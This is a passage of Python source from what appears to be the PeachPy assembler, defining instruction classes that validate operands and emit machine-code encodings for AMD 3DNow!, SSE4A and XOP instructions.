class PSWAPD(Instruction):
"""Packed Swap Doubleword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PSWAPD(mm, mm/m64) [3dnow!+]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PSWAPD, self).__init__("PSWAPD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PSWAPD\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now_plus])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0xBB])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0xBB])))
else:
raise SyntaxError("Invalid operand types: PSWAPD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFCMPEQ(Instruction):
"""Packed Floating-Point Compare for Equal"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFCMPEQ(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFCMPEQ, self).__init__("PFCMPEQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFCMPEQ\" requires 2 operands")
self.go_name = "PFCMPEQ"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0xB0])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0xB0])))
else:
raise SyntaxError("Invalid operand types: PFCMPEQ " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFCMPGT(Instruction):
"""Packed Floating-Point Compare for Greater Than"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFCMPGT(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFCMPGT, self).__init__("PFCMPGT", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFCMPGT\" requires 2 operands")
self.go_name = "PFCMPGT"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0xA0])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0xA0])))
else:
raise SyntaxError("Invalid operand types: PFCMPGT " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFCMPGE(Instruction):
"""Packed Floating-Point Compare for Greater or Equal"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFCMPGE(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFCMPGE, self).__init__("PFCMPGE", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFCMPGE\" requires 2 operands")
self.go_name = "PFCMPGE"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0x90])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0x90])))
else:
raise SyntaxError("Invalid operand types: PFCMPGE " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFRCP(Instruction):
"""Packed Floating-Point Reciprocal Approximation"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFRCP(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFRCP, self).__init__("PFRCP", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFRCP\" requires 2 operands")
self.go_name = "PFRCP"
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0x96])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0x96])))
else:
raise SyntaxError("Invalid operand types: PFRCP " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFRCPIT1(Instruction):
"""Packed Floating-Point Reciprocal Iteration 1"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFRCPIT1(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFRCPIT1, self).__init__("PFRCPIT1", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFRCPIT1\" requires 2 operands")
self.go_name = "PFRCPIT1"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0xA6])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0xA6])))
else:
raise SyntaxError("Invalid operand types: PFRCPIT1 " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFRCPIT2(Instruction):
"""Packed Floating-Point Reciprocal Iteration 2"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFRCPIT2(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFRCPIT2, self).__init__("PFRCPIT2", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFRCPIT2\" requires 2 operands")
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0xB6])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0xB6])))
else:
raise SyntaxError("Invalid operand types: PFRCPIT2 " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFRSQRT(Instruction):
"""Packed Floating-Point Reciprocal Square Root Approximation"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFRSQRT(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFRSQRT, self).__init__("PFRSQRT", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFRSQRT\" requires 2 operands")
self.go_name = "PFRSQRT"
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0x97])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0x97])))
else:
raise SyntaxError("Invalid operand types: PFRSQRT " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFRSQIT1(Instruction):
"""Packed Floating-Point Reciprocal Square Root Iteration 1"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFRSQIT1(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFRSQIT1, self).__init__("PFRSQIT1", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFRSQIT1\" requires 2 operands")
self.go_name = "PFRSQIT1"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0xA7])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0xA7])))
else:
raise SyntaxError("Invalid operand types: PFRSQIT1 " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class FEMMS(Instruction):
"""Fast Exit Multimedia State"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* FEMMS() [FEMMS]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(FEMMS, self).__init__("FEMMS", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 0:
raise SyntaxError("Instruction \"FEMMS\" requires 0 operands")
self.encodings.append((0x00, lambda op: bytearray([0x0F, 0x0E])))
self.isa_extensions = frozenset([peachpy.x86_64.isa.femms])
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class MOVNTSS(Instruction):
"""Store Scalar Single-Precision Floating-Point Values Using Non-Temporal Hint"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* MOVNTSS(m32, xmm) [SSE4A]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(MOVNTSS, self).__init__("MOVNTSS", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"MOVNTSS\" requires 2 operands")
if is_m32(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: bytearray([0xF3]) + optional_rex(op[1].hcode, op[0].address, rex) + bytearray([0x0F, 0x2B]) + modrm_sib_disp(op[1].lcode, op[0].address, sib, min_disp)))
self.in_regs = (True, True)
self.out_regs = (False, False)
self.out_operands = (True, False)
self.avx_mode = False
self.isa_extensions = frozenset([peachpy.x86_64.isa.sse4a])
else:
raise SyntaxError("Invalid operand types: MOVNTSS " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class MOVNTSD(Instruction):
"""Store Scalar Double-Precision Floating-Point Values Using Non-Temporal Hint"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* MOVNTSD(m64, xmm) [SSE4A]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(MOVNTSD, self).__init__("MOVNTSD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"MOVNTSD\" requires 2 operands")
if is_m64(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: bytearray([0xF2]) + optional_rex(op[1].hcode, op[0].address, rex) + bytearray([0x0F, 0x2B]) + modrm_sib_disp(op[1].lcode, op[0].address, sib, min_disp)))
self.in_regs = (True, True)
self.out_regs = (False, False)
self.out_operands = (True, False)
self.avx_mode = False
self.isa_extensions = frozenset([peachpy.x86_64.isa.sse4a])
else:
raise SyntaxError("Invalid operand types: MOVNTSD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class INSERTQ(Instruction):
"""Insert Field"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* INSERTQ(xmm, xmm) [SSE4A]
* INSERTQ(xmm, xmm, imm8, imm8) [SSE4A]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(INSERTQ, self).__init__("INSERTQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) == 2:
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: bytearray([0xF2]) + optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x79, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = False
self.isa_extensions = frozenset([peachpy.x86_64.isa.sse4a])
else:
raise SyntaxError("Invalid operand types: INSERTQ " + ", ".join(map(format_operand_type, self.operands)))
elif len(self.operands) == 4:
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_imm(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[2]):
raise ValueError("Argument #2 can not be encoded as imm8")
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x20, lambda op, rex=False: bytearray([0xF2]) + optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x78, 0xC0 | op[0].lcode << 3 | op[1].lcode, op[2] & 0xFF, op[3] & 0xFF])))
self.in_regs = (False, True, False, False)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = False
self.isa_extensions = frozenset([peachpy.x86_64.isa.sse4a])
else:
raise SyntaxError("Invalid operand types: INSERTQ " + ", ".join(map(format_operand_type, self.operands)))
else:
raise SyntaxError("Invalid number of operands for instruction \"INSERTQ\"")
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class EXTRQ(Instruction):
"""Extract Field"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* EXTRQ(xmm, xmm) [SSE4A]
* EXTRQ(xmm, imm8, imm8) [SSE4A]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(EXTRQ, self).__init__("EXTRQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) == 2:
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: bytearray([0x66]) + optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x79, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = False
self.isa_extensions = frozenset([peachpy.x86_64.isa.sse4a])
else:
raise SyntaxError("Invalid operand types: EXTRQ " + ", ".join(map(format_operand_type, self.operands)))
elif len(self.operands) == 3:
if is_xmm(self.operands[0]) and is_imm(self.operands[1]) and is_imm(self.operands[2]):
if not is_imm8(self.operands[1]):
raise ValueError("Argument #1 can not be encoded as imm8")
if not is_imm8(self.operands[2]):
raise ValueError("Argument #2 can not be encoded as imm8")
self.encodings.append((0x20, lambda op, rex=False: bytearray([0x66]) + optional_rex(0, op[0], rex) + bytearray([0x0F, 0x78, 0xC0 | op[0].lcode, op[1] & 0xFF, op[2] & 0xFF])))
self.in_regs = (True, False, False)
self.out_regs = (True, False, False)
self.out_operands = (True, False, False)
self.avx_mode = False
self.isa_extensions = frozenset([peachpy.x86_64.isa.sse4a])
else:
raise SyntaxError("Invalid operand types: EXTRQ " + ", ".join(map(format_operand_type, self.operands)))
else:
raise SyntaxError("Invalid number of operands for instruction \"EXTRQ\"")
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPPERM(Instruction):
"""Packed Permute Bytes"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPPERM(xmm, xmm, xmm, xmm/m128) [XOP]
* VPPERM(xmm, xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPPERM, self).__init__("VPPERM", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPPERM\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0xA3, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[3].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0xA3, 0xC0 | op[0].lcode << 3 | op[3].lcode, op[2].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_m128(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x80, op[0].hcode, op[3].address, op[1].hlcode) + bytearray([0xA3]) + modrm_sib_disp(op[0].lcode, op[3].address, sib, min_disp) + bytearray([op[2].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0xA3]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPPERM " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPCMOV(Instruction):
"""Packed Conditional Move"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPCMOV(xmm, xmm, xmm, xmm/m128) [XOP]
* VPCMOV(xmm, xmm, xmm/m128, xmm) [XOP]
* VPCMOV(ymm, ymm, ymm, ymm/m256) [XOP]
* VPCMOV(ymm, ymm, ymm/m256, ymm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPCMOV, self).__init__("VPCMOV", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPCMOV\" requires 4 operands")
self.in_regs = (False, True, True, True)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0xA2, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[3].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0xA2, 0xC0 | op[0].lcode << 3 | op[3].lcode, op[2].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_m128(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x80, op[0].hcode, op[3].address, op[1].hlcode) + bytearray([0xA2]) + modrm_sib_disp(op[0].lcode, op[3].address, sib, min_disp) + bytearray([op[2].hlcode << 4])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0xA2]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
elif is_ymm(self.operands[0]) and is_ymm(self.operands[1]) and is_ymm(self.operands[2]) and is_ymm(self.operands[3]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x7C ^ (op[1].hlcode << 3), 0xA2, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[3].hcode << 5), 0xFC ^ (op[1].hlcode << 3), 0xA2, 0xC0 | op[0].lcode << 3 | op[3].lcode, op[2].hlcode << 4])))
elif is_ymm(self.operands[0]) and is_ymm(self.operands[1]) and is_ymm(self.operands[2]) and is_m256(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x84, op[0].hcode, op[3].address, op[1].hlcode) + bytearray([0xA2]) + modrm_sib_disp(op[0].lcode, op[3].address, sib, min_disp) + bytearray([op[2].hlcode << 4])))
elif is_ymm(self.operands[0]) and is_ymm(self.operands[1]) and is_m256(self.operands[2]) and is_ymm(self.operands[3]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x04, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0xA2]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4])))
else:
raise SyntaxError("Invalid operand types: VPCMOV " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPROTB(Instruction):
"""Packed Rotate Bytes"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPROTB(xmm, xmm, xmm/m128) [XOP]
* VPROTB(xmm, xmm/m128, imm8) [XOP]
* VPROTB(xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPROTB, self).__init__("VPROTB", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 3:
raise SyntaxError("Instruction \"VPROTB\" requires 3 operands")
self.out_regs = (True, False, False)
self.out_operands = (True, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_imm(self.operands[2]):
if not is_imm8(self.operands[2]):
raise ValueError("Argument #2 can not be encoded as imm8")
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xC0, 0xC0 | op[0].lcode << 3 | op[1].lcode, op[2] & 0xFF])))
self.in_regs = (False, True, False)
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78 ^ (op[2].hlcode << 3), 0x90, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0x90, 0xC0 | op[0].lcode << 3 | op[2].lcode])))
self.in_regs = (False, True, True)
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x80, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x90]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp)))
self.in_regs = (False, True, True)
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_imm(self.operands[2]):
if not is_imm8(self.operands[2]):
raise ValueError("Argument #2 can not be encoded as imm8")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[1].address) + bytearray([0xC0]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([op[2] & 0xFF])))
self.in_regs = (False, True, False)
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address, op[2].hlcode) + bytearray([0x90]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
self.in_regs = (False, True, True)
else:
raise SyntaxError("Invalid operand types: VPROTB " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPROTW(Instruction):
